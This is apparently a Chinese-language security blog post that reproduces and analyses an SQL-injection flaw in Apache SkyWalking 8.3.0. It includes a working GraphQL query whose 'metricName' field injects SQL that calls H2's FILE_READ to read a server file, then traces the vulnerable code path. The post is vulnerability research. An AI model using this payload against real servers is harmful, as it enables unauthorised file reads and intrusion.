Skywalking Rce 漏洞利用复现&分析
0x00 漏洞简介
看到先知各位师傅的复现文章了,借此机会复现学习一波graphql和h2数据库相关的知识。
0x01 环境搭建
下载源码进行编译
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
解压后,进行编译
./mvnw compile -Dmaven.test.skip=true
使用idea启动进行调试,直接点击OAPServerStartUp
切换到skywalking-ui启动前台
npm run serve
0x02 漏洞利用
1、关于graphql
使用burpsuit或者graphiql执行graph语句进行利用,下图为读取文件
关于上图中的graphql,详情可看这篇graphql入门
//query
query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
logs{
content
}
}
}
//query variables
{
"condition":{
"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/tmp/test.txt', NULL) where ?=1 or ?=1 or 1=1--",
"paging":{
"pageNum":1,
"pageSize":1
},
"state":"ALL",
"queryDuration":{
"start":"2021-02-07 1554",
"end":"2021-02-07 1554",
"step":"MINUTE"
}
}
}
(1)query可以理解为书查询树的根节点,其中queryLogs为调用的函数。
(2)queryLogs($condition: LogQueryCondition)的括号为插入一个condition变量,该变量的类型为LogQueryCondition,即传入的数值必须得有这样子的结构
(3)第二个queryLogs中的参数condition表示传参字段,其内容为$condition,而$conditon内容被解析为query variables里边的内容。
(4)logs和content表示,返回内容为logs中的content字段
2、代码分析
从数据传入的源头开始分析,首先是doPost方法对post过来的数据进行处理
在doPost方法中调用了execute方法处理传入的json数据
最终调用graphql处理方法执行该语句
poc中指向的查询函数为LogQuery,即如下方法为其实现逻辑
src/main/java/org/apache/skywalking/oap/query/graphql/resolver/LogQuery.java
调用对应的queryLogs方法,最终进入dao方法中进行查询
经过层层sql拼接
最终进入h2数据库类的executequery进行语句执行
最终通过拼接sql,进入数据库sql调用
而底层调用的是h2数据库,所以我们可以根据h2特性进行后续的利用。详情可看 我的另外一篇blog